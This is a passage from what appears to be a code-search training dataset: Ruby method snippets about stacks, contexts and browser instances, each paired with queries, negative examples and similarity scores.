cmdStack.drop(2) # remove \"if\" and s1. The top element on stack should now be the remaining GCIf statements \n resStack = resStack.drop(1) # remove the boolean \n end\n\n # while loop\n # logic: get random statement from list and place it at top of command stack\n # check if the guard is true. If so then do that statement and repeat\n # if false, can either find another statement or do nothing\n # in this implementation, I will do nothing in the false case\n elsif cmdStack[0].is_a?(GCDo)\n #puts \"do\"\n w = cmdStack[0] # get Do statement off command stack\n #cmdStack = cmdStack.drop(1) # remove statement\n #cmdStack.unshift(GCDo.new(w.pairlist)) \n if w.pairlist.length == 0 # if no pairs, do nothing\n cmdStack.unshift(GCSkip.new())\n else\n randval = rand(w.pairlist.length) # get random value\n pair = w.pairlist[randval] # get random pair\n cmdStack = cmdStack.drop(1) # remove GCDo\n cmdStack.unshift(pair[1]) # add statement\n cmdStack.unshift(pair[0]) # add boolean check\n cmdStack.unshift(\"while\")\n cmdStack.unshift(pair[0]) # condition\n i += 1\n # command stack should look like [guard, \"while\", guard, statement, ...]\n end\n elsif cmdStack[0] == \"while\"\n # command stack will be in form [\"while\", guard, statement, ...]\n # resStack will be in form [true/false, ...]\n b = resStack[0] # check evaluated condition\n g = cmdStack[1] # guard\n s = cmdStack[2] # statement \n if b == true\n cmdStack.unshift(g) # place guard to front of stack\n cmdStack.unshift(s) # place statement to front of stack to be evaluated\n resStack = resStack.drop(1) # remove previously evaluated condition\n # new command stack will be in form [statement, guard, \"while\", guard, statement]\n else\n #puts \"while guard was false\"\n cmdStack.drop(3) #remove while, guard and statement from command stack\n cmdStack.unshift(GCSkip.new()) #end loop\n resStack = resStack.drop(1) # remove previously computed bool\n i += 1\n end\n else \n puts \"Invalid input\"\n break\n end\n end\n return memState \n\n end", "def stack_top\n self # okay maybe I'll implement this\n end", "def flush_context_stack\n while (context != TopContext)\n pop_context\n end\n end", "def push_self\n \"stack_push(c->self);\"\n end", "def add_stacks\n variable_stack.add_stack\n value_stack.add_stack\n end", "def initialize\n @stacks = []\n end", "def stack\n @values.fetch('stack') { \n @values['stack'] = nil\n }\n end", "def stack(which, name)\n @@stacks[which][name]\n end", "def path; @path_stack end", "def parsed_stack\n @values.fetch('parsedStack') { \n @values['parsedStack'] = []\n }\n end", "def execute_callstack\n @callstack.each_with_index do |statement,i|\n unless @binary_operators.include?(statement) || @unary_operators.include?(statement) || [\"(\", \")\"].include?(statement)\n values = statement.split(/(#{@comparison_operators.join(\"|\")})/)\n values.each_with_index do |val,j|\n if val =~ /.*\\(.*\\)/\n values[j] = eval(val)\n end\n end\n begin\n @callstack[i] = eval(values.join(\" \"))\n rescue Exception => e\n end\n end\n end\n exit_with_function_errors unless @function_errors.empty?\n eval @callstack.join(\" \")\n end", "def push_stack\n bb = {:black => get_black,:white => get_white}\n @stack.push(Marshal.load(Marshal.dump(bb)))\n @stack.shift if @stack.size > @options[:stack_limit]\n end", "def peek\n @stack[0]\n end", "def pipeline_stack\n @pipeline_stack ||= []\n end", "def last_context; end", "def context\n Thread.current[NAME] ||= Hash.new\n end", "def initialize\n @in_stack = []\n @out_stack = []\n end", "def pop_context\n context.pop\n end", "def tab_stack\n @tab_stack ||= {}\n end", "def top()\n @stack[-1]\n end", "def temp_exec(*args)\n child = Reticular.new(@body + \";\", args)\n child.execute\n child.stack\n end", "def peek()\n @stack.peek\n end", "def do_colon s; a = mega_pop(s); s[:stack] += [a,a] end", "def retrieve_from_stack\n # Pils::log \"We retrieve the next object from the stack. %i\" % @stack.size\n return nil if @stack.nil? || @stack.empty?\n new_state, *state_rest = @stack\n @stack = state_rest\n @syntax = new_state[0]\n @semantics = new_state[1]\n @syntax_position = new_state[2]\n @token_position = new_state[3]\n sync\n # Pils::log \" becomes %i\" % @stack.size\n # @stack.each do |n|\n # Pils::log \" -- %2i %2i %s\" % [n[2], n[3], n[0].display]\n # end\n end", "def test_stack_050\n\n @vc.parse <<EOF\n\n: test\n\n 0. 2dup 1+\n 2dup 1+\n 2dup 1+\n\n;\n\nEOF\n @vc.compile\n @vc.run\n assert_equal(:halt, @vc.vm.state)\n assert_equal(8, @vc.vm.depth)\n assert_equal(3, @vc.vm.tos)\n assert_equal(0, @vc.vm.nos)\n assert_equal(2, @vc.vm.pick(2))\n assert_equal(0, @vc.vm.pick(3))\n assert_equal(1, @vc.vm.pick(4))\n assert_equal(0, @vc.vm.pick(5))\n assert_equal(0, @vc.vm.pick(6))\n assert_equal(0, @vc.vm.pick(7))\n end", "def top\n @stack[-1]\n end", "def top()\n @stack[-1]\n end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end" ]
[ "0.75630933", "0.7329161", "0.7325653", "0.72959393", "0.72959393", "0.7098576", "0.7002565", "0.6987988", "0.6970865", "0.69289863", "0.6876051", "0.68440896", "0.6827373", "0.6795982", "0.67606175", "0.6734768", "0.65897477", "0.65723693", "0.65723693", "0.65723693", "0.65686196", "0.65374863", "0.6516697", "0.6516697", "0.6516697", "0.6488888", "0.63809633", "0.6345005", "0.6333943", "0.62922883", "0.62849057", "0.62834376", "0.62834376", "0.627045", "0.62653166", "0.62345177", "0.62345177", "0.62345177", "0.61979187", "0.617793", "0.61772114", "0.61735153", "0.6168808", "0.6120054", "0.610788", "0.6106106", "0.6101253", "0.60737324", "0.60737324", "0.60737324", "0.60593516", "0.6034094", "0.60288036", "0.6025822", "0.5994069", "0.5989954", "0.5982305", "0.59750706", "0.5966921", "0.5965299", "0.5963514", "0.5952524", "0.5935097", "0.59316176", "0.59049433", "0.59013474", "0.5892902", "0.58735824", "0.5872753", "0.586002", "0.585755", "0.58563536", "0.58482677", "0.5838822", "0.5836235", "0.5816554", "0.5800069", "0.5798827", "0.5798824", "0.5792429", "0.57900053", "0.5787422", "0.57838774", "0.57822937", "0.57718766", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631", "0.5767631" ]
0.711802
5
Returns the last because clause
def __last_because __stack.last || @scenario.name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def select_last\n select($game_cooking.recipes.index($game_cooking.recipe) || 0)\n end", "def remaining_sql\n @stmt_api.remaining_sql\n end", "def select_last\n select($game_party.members.index($game_cooking.cook) || 0)\n end", "def last_results\n $sql_multi ? $sql_results.last : $sql_results\nend", "def last\n result ? all.last : limit(1).descending.all.last\n end", "def bottom_item(except = nil)\n conditions = scope_condition\n if except\n conditions.merge!( { position_key.ne => except.my_position } )\n end\n\n order_by_position(conditions).last\n end", "def select_last\n select(@data.index($game_party.last_item.object) || 0)\n end", "def bottom_item(except = nil)\n # conditions = scope_condition\n # conditions = \"#{conditions} AND #{self.class.primary_key} != #{except.id}\" if except\n # acts_as_list_class.find(:first, :conditions => conditions, :order => \"#{position_column} DESC\")\n acts_as_list_class.with_acts_as_list_scope(scope_condition) do\n conditions = except.nil?() ? \"\" : \"#{self.class.primary_key} != #{except.id}\" \n where(conditions).order(\"#{position_column} DESC\").first\n end \n end", "def is_last?\n max_date = self.class.where(strategy_id: strategy_id).where.not(id: id).maximum(:datetime)\n !max_date || max_date < datetime\n end", "def bottom_item(except = nil)\n conditions = scope_condition\n if except\n conditions.merge!(\"i.#{position_key} <>\" => except.my_position)\n end\n\n order_by_position(conditions).last\n end", "def clause(model, toggled)\n if toggled\n \"#{model.quoted_table_name}.#{model.connection.quote_column_name(@column.to_s)}\" +\n \" > #{adapter.time_difference(@threshold)}\"\n else\n nil\n end\n end", "def last_change\n Change.joins(:versions).where('versions.item_id = ? AND versions.item_type = ?', id, 'Taxon' ).last\n end", "def next_condition_as_sql\n case @next_condition\n when CONDITION::NONE\n return \"\"\n when CONDITION::AND\n return \"AND\"\n when CONDITION::OR\n return \"OR\"\n end\n end", "def bottom_item(except = nil)\n scope = acts_as_list_list\n\n if except\n scope = scope.where(\"#{quoted_table_name}.#{self.class.primary_key} != ?\", except.id)\n end\n\n scope.in_list.reorder(acts_as_list_order_argument(:desc)).first\n end", "def last_correction()\n return nil if !defined?(@corrections) or @corrections.nil? or @corrections.empty?\n return @corrections[-1]\n end", "def last_failed_payment_reason\n last_failed_payment = payments.with_state(:declined).order(:created_at).last\n\n last_failed_payment && last_failed_payment.comment.present? ? last_failed_payment.comment : \"\"\n end", "def physics_no_chemistry\n # In which years was the Physics prize awarded, but no Chemistry prize?\n execute(<<-SQL)\n select n1.yr\n from nobels n1\n where n1.subject = 'Physics' and n1.yr NOT IN (\n select n2.yr\n from nobels n2\n where n2.subject = 'Chemistry'\n )\n group by n1.yr\n SQL\nend", "def recently_realized_losses\n where(id: recently_realized_losses_fund_ids)\n end", "def last?\n self.rel == \"last\"\n end", "def last_bid\n self.bids.last rescue nil\n end", "def last_partitions_order_by_clause\n unless @last_partitions_order_by_clause\n @last_partitions_order_by_clause = collect_first(&:last_partitions_order_by_clause)\n end\n return @last_partitions_order_by_clause\n end", "def select_last\n select(@data.index(@event.tb_unit.last_item.object) || 0)\n end", "def exclude_last potato\n potato[0..-2]\nend", "def last\n self.class.where(:id => rid).order('lower(validity)').last\n end", "def last_question (user)\n return user.answers.every.desc(:created_at).limit(1).first\n end", "def butlast\n if self.empty?\n []\n else\n self[0..-2]\n end\n end", "def execute_last &decision\n return execute_line @test_lines[-1], &decision\n end", "def nexxt\n account.statements.except(:order).chronologically.entered_after( last.entered_at ).first\n end", "def last?; end", "def last_quarter\n return last_planned_quarter if any_planned_courses?\n return last_taken_quarter if any_taken_courses?\n nil\n end", "def find_last_gift(donor)\n selected_gifts = Gift.where(:donor_id => donor)\n last_gift = nil\n selected_gifts.each do |g|\n if last_gift.nil?\n last_gift = g\n else\n if g.created_at > last_gift.created_at\n last_gift = g\n end\n end\n end \n return last_gift\n end", "def select_last\n select(0)\n end", "def latest_change\n Change.joins(:versions).where('versions.item_id = ? AND versions.item_type = ?', id, 'Taxon').last\n end", "def calc_where_clause(our_where = where)\n ands = our_where.uniq.map do |x|\n # Make half-assed attempt to cut down on proliferating parens...\n if x.match(/^\\(.*\\)$/) || !x.match(/ or /i)\n x\n else\n \"(#{x})\"\n end\n end\n ands.join(\" AND \")\n end", "def last\n self.invert_order.all.first\n end", "def last_done_exercise_of_greater_difficulty\n i = self.user_sequence.size() - 1\n while(!self.user_sequence[i][2]) do\n i = i - 1\n end\n return self.user_sequence[i][0]\n end", "def findlastelse(blk)\n# pp \"FFFFFFFFFFFFFFFFFF: findlastelse:\", blk\n curblk = blk\n depth=0\n while true\n nextif = curblk[1]\n nextelse = nextif[3]\n if nextelse == nil then\n return nextif\n else\n depth+=1\n curblk = nextelse\n end\n end\n raise \"should never reached\"\nend", "def last_date_s\r\n last_date = $db.execute(\"SELECT day FROM prices ORDER BY day_i DESC LIMIT 1\")\r\n last_date = last_date[0][0]\r\n return last_date\r\nend", "def last!\n last || raise_record_not_found_exception!\n end", "def bottom\n return nil if empty?\n @que.first\n end", "def last_finances\n return self.club_finances_rounds.find(:first, :conditions => {\n :round_id => self.current_season.get_previous_round\n }) unless self.current_season.first_round? || self.current_season.finished?\n\n if self.current_season.finished?\n return self.club_finances_rounds.find(:first, :conditions => {\n :round_id => self.current_season.round_actual\n })\n end\n end", "def higher_item\n return nil unless in_list?\n conditions = scope_condition.merge!(less_than_me)\n order_by_position(conditions).last\n end", "def last_active_recurring_order\n self.orders.recurring.find(:all, :order => \"orders.id ASC\").select {|o| Date.today >= o.service_period_start_on && Date.today <= o.service_period_end_on}.last\n end", "def happening_expressions\n find_related_frbr_objects( :has_happening, :which_expressions?) \n end", "def but_last lst, &blk\n if null?(lst)\n NullType.new\n elsif null?(cdr(lst))\n block_given? ? list(blk.call(car(lst))) : NullType.new\n else\n cons(car(lst), but_last(cdr(lst), &blk))\n end\nend", "def latest_ball_done(match)\n if match.blank? \n else\n over = latest_over(match)\n if Ball.where(over_id: over.id, match_id: match.id, done: true).any?\n ball = Ball.where(over_id: over.id, match_id: match.id, done: true).last\n return ball\n else\n Ball.where(over_id: over.id, match_id: match.id).last\n end\n end\n end", "def reason_not_to_delete\n d = @data_object\n if d.order_amount_paid > 0.0\n return \"Cannot delete an order after it has been partially paid\"\n end\n\n pays = Pays.for_order(self)\n unless pays.empty?\n return \"Cannot delete an order after payments have been applied\"\n end\n\n each_line do |line|\n if line.li_date_shipped\n return \"Cannot delete: '#{line.li_desc}' has been shipped\"\n end\n end\n\n nil\n end", "def current_ballot\n self.ballots.includes(:nominations, :voting_period).order(:created_at).last\n end", "def two_or_more\n -3\n end", "def last() end", "def last_trade_date\n quote.last_trade_date\n end", "def last\n all[all.size - 1]\n end", "def last_day_i\r\n last_date = $db.execute(\"SELECT day_i FROM prices ORDER BY day_i DESC LIMIT 1\")\r\n last_date = last_date[0][0]\r\n return last_date\r\nend", "def last_specified_position\n tree.dimensions.length.downto(1) do |index|\n return index - 1 if conditions[tree.dimensions[index - 1]] != '*'\n end\n\n return -1\n end", "def out_of_date\n last_order_detail = self.order_details.order(\"created_at DESC\").first\n last_priced = self.product_prices.order(\"created_at DESC\").first\n\n if last_order_detail.nil?\n last_date = self.updated_at\n else\n last_date = last_order_detail.updated_at\n end\n\n if last_priced.present?\n if last_date < last_priced.created_at\n last_date = last_priced.created_at\n end\n end\n\n return (self.stock <= 0 and last_date < Time.now - 6.months)\n end", "def one_or_more\n -2\n end", "def third_to_last!\n third_to_last || raise_record_not_found_exception!\n end", "def find_last_gift(donor)\n selected_gifts = Gift.where(:donor_id => donor)\n last_gift = nil\n selected_gifts.each do |g|\n if last_gift.nil?\n last_gift = g\n else\n if g.created_at > last_gift.created_at\n last_gift = g\n end\n end\n end \n return last_gift\n end", "def higher_item\n return nil unless in_list?\n conditions = scope_condition.merge!( less_than_me )\n order_by_position(conditions).last\n end", "def highest_gdp\n # Which countries have a GDP greater than every country in Europe? (Give the\n # name only. Some countries may have NULL gdp values)\n execute(<<-SQL)\n SELECT\n name\n FROM\n countries\n WHERE\n gdp > (\n SELECT\n MAX(gdp)\n FROM\n countries\n WHERE\n continent = 'Europe'\n GROUP BY\n continent\n );\n SQL\nend", "def is_last_thing?(date)\n case @conditions[:breakdown_type]\n when \"Weekly\"\n date.strftime(\"%a\") == \"Mon\"\n when \"Quarterly\"\n a = date.to_s.split(\"-\")\n return [1,4,7,10].include?(a[1].to_i) && a[2] == \"01\"\n when \"Daily\"\n true\n when \"Yearly\"\n date.day == 1 && date.month == 1\n when \"Monthly\"\n date.day == 1\n else\n raise NoMethodError\n end\n end", "def physics_no_chemistry\n # In which years was the Physics prize awarded, but no Chemistry prize?\n execute(<<-SQL)\n SQL\nend", "def where_clause\n \"\"\n end", "def select_last\n select(@data.index(@last_item.object) || 0)\n end", "def select_last\n select($game_party.target_actor.index || 0)\n end", "def filter_previous_clause?\n sql.include?(':filter_previous') || sql.include?(':ids_filter_previous')\n end", "def last_trade_price\n quote.last_trade_price\n end", "def previous\n account.statements.except(:order).chronologically.entered_before( first.entered_at ).last\n end", "def highest_gdp\n # Which countries have a GDP greater than every country in Europe? (Give the\n # name only. Some countries may have NULL gdp values)\n execute(<<-SQL)\n SELECT\n name\n FROM\n countries\n WHERE\n gdp > (\n SELECT\n MAX(gdp)\n FROM\n countries\n WHERE\n continent = 'Europe'\n )\n SQL\nend", "def last_item\n self.simple_acts_as_list_scope.last\n end", "def last_unanswered_questionnaire\r\n last_unanswered = unanswered_questionnaires.last rescue nil\r\n the_very_last = Questionnaire.by_language_published(I18n.locale).last\r\n last_unanswered == the_very_last ? last_unanswered : nil\r\n end", "def unpaid_payment\n self.payments.where(status: nil).or(self.payments.where(status: :failed)).last\n end", "def last_order(obj)\n if obj.class == Job\n job_application = JobApplication.find_by(member: self, job: obj)\n return nil if job_application.blank? or job_application.orders.blank?\n job_application.orders.created_at_desc.first\n elsif obj.class == Service\n return nil if obj.orders.blank?\n obj.orders.created_at_desc.first\n else\n return nil\n end\n end", "def extract_declares!\n # # Recurse on the whens.\n # return self.each_when.map(&:extract_declares!)\n # # Recurse on the default if any.\n # self.default.extract_declares! if self.default\n res = self.each_when.map(&:extract_declares!)\n res += self.default.extract_declares! if self.default\n return res\n end", "def last_trade_time\n quote.last_trade_time\n end", "def basement_reached\n floors.index(-1)\n end", "def last_activity(donor)\n last_gift = find_last_gift(donor)\n if last_gift.nil?\n return \"--No gifts yet--\"\n else\n return Activity.find(last_gift.activity_id).name\n end\n end", "def check_last_turn\r\n\t\t \tif @turnsleft < 2\r\n\t\t \t\t\"Last turn! Try to solve the puzzle.\"\r\n\t\t \telse\r\n\t\t \t\t\"#{@turnsleft}\"\r\n\t\t \tend\r\n\t\t end", "def extract_declares!\n # Recurse on the statement.\n return self.statement.extract_declares!\n end", "def extract_declares!\n # Recurse on the statement.\n return self.statement.extract_declares!\n end", "def last_organization_quarter(unit = nil)\n conditions = { :unit_id => (unit.is_a?(Unit) ? unit : Unit.find(unit)).id } if unit\n organization_quarters.find(:first, :joins => :quarter, :conditions => conditions, :order => \"year DESC, quarter_code_id DESC\")\n end", "def make_statement_wrapper\n statement = model.make_statement\n retries ||= 0\n while (statement.end_with? \"...\" or statement.empty?) and retries < 5\n log \"Not tweeting #{statement}\"\n statement = model.make_statement\n retries += 1\n end\n if rand < 0.01\n statement = tag_other_bot(statement)\n end\n return statement\n end", "def calc_nested_query_conditions(return_first_false: true)\n res = return_first_false\n begin\n # The query didn't return a result - therefore the condition evaluates to false\n # We rescue it here, since this is a common point for a poor SQL definition to fail\n return false if @condition_scope.empty?\n rescue StandardError => e\n Rails.logger.error \"#{e}\\n#{@condition_scope.to_sql}\"\n raise e\n end\n\n # Combine sub condition results if they are specified\n # This sends the current @condition_scope as the basis for evaluation.\n @condition_config.each do |c_type, t_conds|\n # If this is a sub condition (the key is one of :all, :any, :not_any, :not_all)\n # go ahead and calculate the sub conditions results by instantiating a ConditionalActions class\n # with the scope as the current condition scope from the query\n st = is_selection_type c_type\n next unless st\n\n ca = ConditionalActions.new({ c_type => t_conds }, current_instance, current_scope: @condition_scope,\n return_failures: return_failures)\n res_a = ca.calc_action_if\n\n if return_first_false\n res &&= res_a\n return nil unless res\n else\n res ||= res_a\n end\n\n @this_val ||= ca.this_val\n end\n\n res\n end", "def last(limit=1)\n limit(limit).reverse_order.load.first\n end", "def last_completed_survey\n rs = response_sets.last\n rs.complete? ? rs.survey : nil\n end", "def last_submission_before_creation\n Submission.find_by_sql(\" select * from submissions\n where exercise_id = #{exercise_id} AND\n user_id = #{user_id} AND\n '#{created_at.localtime}' > created_at\n order by created_at desc\n limit 1\").first\n end", "def last(n = 1, before: nil, &block)\n return super(n, &block) unless before\n\n if include? before\n last_item_before before, n\n else\n super(n) { |item| item.before? before }\n end\n end", "def last_time\n last = entries.order(Sequel.desc(:time)).first\n if last.nil?\n last_checked\n else\n last.time\n end\n end", "def borrower_paid_outside_closing\n purchase_credits.where(:name => 'BorrowerPaidOutsideClosing').first.value rescue nil\n end", "def lov_since(interval=nil)\n if interval\n OrderContent.joins(\"JOIN orders ON order_contents.order_id = orders.order_id\").select(\"SUM(order_contents.quantity * order_contents.current_price) AS lov\").where(\"orders.when_placed > ?\", interval).order(\"lov DESC\").group(\"orders.order_id\")[0].lov\n else\n OrderContent.joins(\"JOIN orders ON order_contents.order_id = orders.order_id\").select(\"SUM(order_contents.quantity * order_contents.current_price) AS lov\").where(\"orders.is_placed = ?\", true).order(\"lov DESC\").group(\"orders.order_id\")[0].lov\n end\n end", "def last!\n last or raise RecordNotFound\n end", "def get_last_bid\n self.bids.max_by {|bid| bid.created_at}\n end", "def latest_quote\n Quote.where(\n 'stock_id = ? and created_at = (select max(created_at) from quotes where stock_id = ?)',\n id, id).first or raise \"Could not find the latest quote for #{code}\"\n end", "def take_off\n invoice_items\n .joins(:bulk_discounts)\n .where('invoice_items.quantity >= bulk_discounts.quantity_threshold')\n .group('invoice_items.id')\n .pluck(Arel.sql('max(invoice_items.quantity * invoice_items.unit_price * bulk_discounts.percentage_discount)'))\n end", "def last_is_from_buyer?\n not status.messages.where('messages.id != ?', id).order('created_at DESC').first.try(:from_owner?)\n end", "def end_prematurely\n connection = ActiveRecord::Base.connection.raw_connection\n connection.exec(\"select end_auction(#{id})\")\n end", "def last_column; end", "def last_column; end", "def last_column; end", "def last_column; end" ]
[ "0.55473876", "0.551409", "0.54015404", "0.5291644", "0.5284842", "0.5213991", "0.51791143", "0.5145713", "0.51230544", "0.5112969", "0.50898117", "0.5031334", "0.49881768", "0.49668208", "0.49495912", "0.49472678", "0.49396676", "0.49339023", "0.49238932", "0.49217942", "0.49155694", "0.49080372", "0.48976812", "0.48807058", "0.48760626", "0.48716918", "0.4867573", "0.48657465", "0.48523894", "0.4851327", "0.4846143", "0.48351833", "0.48346695", "0.4826251", "0.48260742", "0.48247677", "0.48217458", "0.48201084", "0.48159784", "0.47978306", "0.47907746", "0.47897825", "0.47864065", "0.47828984", "0.47787622", "0.47767335", "0.4770464", "0.47703254", "0.4760907", "0.47584128", "0.47563577", "0.47489467", "0.47461483", "0.47458944", "0.4744135", "0.47434133", "0.47349736", "0.47337434", "0.47212598", "0.47148773", "0.4712373", "0.4711577", "0.47067395", "0.47057235", "0.4699809", "0.46976128", "0.46954152", "0.46911088", "0.4687527", "0.46823364", "0.4677184", "0.46713185", "0.46702778", "0.46661353", "0.46646428", "0.46639052", "0.4649853", "0.46486476", "0.46404064", "0.46404064", "0.4638533", "0.46242708", "0.46182212", "0.46120584", "0.46058577", "0.46041194", "0.46037266", "0.4603672", "0.4602602", "0.4599394", "0.45963934", "0.45955312", "0.45924374", "0.45918018", "0.4591784", "0.45859584", "0.4584186", "0.4584186", "0.4584186", "0.4584186" ]
0.57852954
0
About scoping Delegates to waw ressources
def method_missing(name, *args, &block) if args.empty? and resources and resources.has_resource?(name) resources[name] else super(name, *args, &block) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scope() yield end", "def scope() binding end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def scope; end", "def _rewire_sub_resources!\n rewire_map = {\n 'remote_file' => 'cerner_tomcat_remote_file',\n 'template' => 'cerner_tomcat_template',\n 'cookbook_file' => 'cerner_tomcat_cookbook_file',\n 'web_app' => 'cerner_tomcat_web_app'\n }\n # Generate stub methods for all the rewiring.\n rewire_map.each do |new_name, old_name|\n # This is defined as a singleton method on self so it looks like\n # the DSL but is scoped to just this context.\n define_singleton_method(new_name) do |name=nil, *args, &block|\n # Store the caller to correct the source_line.\n created_at = caller[0]\n public_send(old_name, name, *args) do\n # Set the declared type to be the native name.\n self.declared_type = self.class.resource_name\n # Fix the source location. for chef 12.4 we could do this with the\n # declared_at parameter on the initial send.\n self.source_line = created_at\n # Run the original block.\n instance_exec(&block) if block\n end\n end\n end\n end", "def delegate_object; end", "def use ware, *args, &proc\n return if locked?\n use? << {:ware => ware, :args => args, :proc => proc}\n end", "def connect_through_proxy; end", "def refutal()\n end", "def scope(*args); end", "def double_bind; 1; end", "def scopes; end", "def scopes *names\n self.scope_names ||= []\n\n names.each do |scope|\n self.scope_names << scope\n\n # hand chaining duties off to the ResourceProxy instance\n define_singleton_method scope do\n resource_proxy.append_scope(scope)\n end\n\n # ResourceProxy instance also needs to respond to scopes\n resource_proxy_class.send(:define_method, scope) do\n append_scope(scope)\n end\n end\n\n # self.scope_names.freeze\n end", "def scope=(_); end", "def bind\n \n end", "def proxies; end", "def delegating_method; end", "def listeners; end", "def proxy; self end", "def proxy; end", "def proxy; end", "def proxy; end", "def subscribed; end", "def scope_loop\nend", "def delegate_method; end", "def weber; end", "def binding() end", "def binding() end", "def subscriptions; end", "def subscriptions; end", "def subscriptions; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def context; end", "def closure! \n end", "def lookup_context; end", "def lookup_context; end", "def lookup_context; end", "def delegate_object_reader_method; end", "def resource(*resources, &block); end", "def scope=(_arg0); end", "def scope=(_arg0); end", "def scope=(_arg0); end", "def delegated_arguments; end", "def callbacks; end", "def callbacks; end", "def setup(resources) ; end", "def setup_router(scope); end", "def _prepare_context; end", "def initialize_streamlined_controller_context(model_name) \n class << self\n attr_reader :streamlined_controller_context \n delegate *Streamlined::Context::ControllerContext.delegates + \n [{:to => :streamlined_controller_context}]\n end\n @streamlined_controller_context = Streamlined::Context::ControllerContext.new(model_name)\n delegate_non_routable *Streamlined::Context::ControllerContext.delegates + \n [{:to => \"self.class\"}]\n end", "def routes_block\n identifier = resource.singular ? 'resource' : 'resources'\n name = resource.name.to_sym\n namespace = resource.namespace.to_sym\n resource_call = -> { send(identifier, name) }\n\n lambda do\n if namespace.present?\n send(:namespace, namespace) do\n instance_exec(&resource_call)\n end\n else\n instance_exec(&resource_call)\n end\n end\n end", "def regulate_scope(name, &block)\n name, block = __synchromesh_parse_regulator_params(name, block)\n singleton_class.send(:define_method, :\"__secure_remote_access_to_#{name}\") do |this, acting_user, *args|\n r = this.send(name, *args)\n r = ReactiveRecordPsuedoRelationArray.new(r) if r.is_a? Array\n __set_synchromesh_permission_granted(this, r, r, acting_user, args, &block)\n end\n end", "def resolver; end", "def _binding() binding end", "def _binding() binding end", "def sharing \n end", "def handlers; end", "def handlers; end", "def handlers; end", "def resource; end", "def reloaders; end", "def reloaders; end", "def call(&cont)\n #setup_all\n cont.call\n #teardown_all\n end", "def __delegate\n@o\nend", "def transitive_closure\n end", "def load_enclosing_resources\n # this is a stub method for controllers\n # that do not use RC\n end", "def binding; super end", "def eClosure(ss)\n end", "def around_hooks; end", "def warden(&block); end", "def transitive_closure() self.class.new(self).transitive_closure!; end", "def work_pool; end", "def global\n delegate.global_proxy\n end", "def context(&block); end" ]
[ "0.6027531", "0.6016457", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.58524644", "0.57704353", "0.5698452", "0.55746156", "0.5534097", "0.552936", "0.552225", "0.5518918", "0.5489653", "0.5468484", "0.5447561", "0.5444925", "0.5385251", "0.5378972", "0.5369417", "0.53674996", "0.5365937", "0.5365937", "0.5365937", "0.53556633", "0.53546643", "0.5345677", "0.5320588", "0.5319102", "0.5319102", "0.53066546", "0.53066546", "0.53066546", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.530511", "0.5296208", "0.52878255", "0.52878255", "0.52878255", "0.52459043", "0.52074933", "0.5197191", "0.5197191", "0.5197191", "0.516261", "0.51612663", "0.51612663", "0.5149903", "0.514957", "0.5139409", "0.51305205", "0.5126836", "0.51255065", "0.5118966", "0.5114665", "0.5114665", "0.5109961", "0.5101754", "0.5101754", "0.5101754", "0.5099966", "0.5099555", "0.5099555", "0.50771093", "0.50758344", "0.50731355", "0.5057354", "0.50387865", "0.50363463", "0.50223696", "0.50128144", "0.50081736", "0.5002243", "0.49993998", "0.4993972" ]
0.0
-1
About browser Returns the current browser instance
def browser @browser end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def browser\n BrowserInst.browser\n end", "def browser\n BrowserInst.browser\n end", "def browser\n @web_browser\n end", "def browser\r\n @web_browser\r\n end", "def browser\n @options[:browser] ||= self.class.create_browser\n end", "def browser\n if @browser.nil?\n # puts '[BrowserOperator] Create Internet Explorer'\n @browser = Watir::Browser.new\n @browser.activate\n end\n @browser\n end", "def browser\n Browser.new(user_agent)\n end", "def browser\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = BrowserFactory.build(session: session, url_options: url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"rv = #{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end", "def initialize browser\n @browser = browser\n end", "def persistent_browser\n return @persistent_browser\n end", "def initialize(browser)\n self.browser = browser\n end", "def browser\n @browser ||= if Capybara.current_session.driver.is_a?(Capybara::Selenium::Driver)\n Capybara.current_session.driver.browser.manage\n else\n raise \"Driver cannot be used to manage cookies. Use selenium/webdriver. Rack::Test should be supported soon.\"\n end\n end", "def browser_window\n IITBrowserWindow.new(@ole.BrowserWindow)\n end", "def browser\n return @browser if @browser\n\n @appium_driver = Appium::Driver.new @options, false\n # browser is the standard selenium driver without any appium methods\n @browser = @appium_driver.start_driver\n\n main = Process.pid\n at_exit do\n # Store the exit status of the test run since it goes away after calling the at_exit proc...\n @exit_status = $ERROR_INFO.status if $ERROR_INFO.is_a?(SystemExit)\n quit if Process.pid == main\n exit @exit_status if @exit_status # Force exit with stored status\n end\n @browser\n end", "def start_browser(url, browser = 'firefox')\n self.open_browser browser\n @browser.goto url\n return @browser\n end", "def browser\n Praline::browser\n end", "def initialize(browser)\n @browser = browser\n end", "def browser_name\n browser_parser.name\n end", "def current_browser\n @current_browser ||= RailsBrowscap.query(request.user_agent)\n end", "def url\n @browser.url\n end", "def local_browser\n return Ladon::Watir::Browser.new_local(type: @browser_type)\n end", "def get_browser(scenario)\n if ENV['LOCAL']\n return get_local_browser(scenario)\n end\n 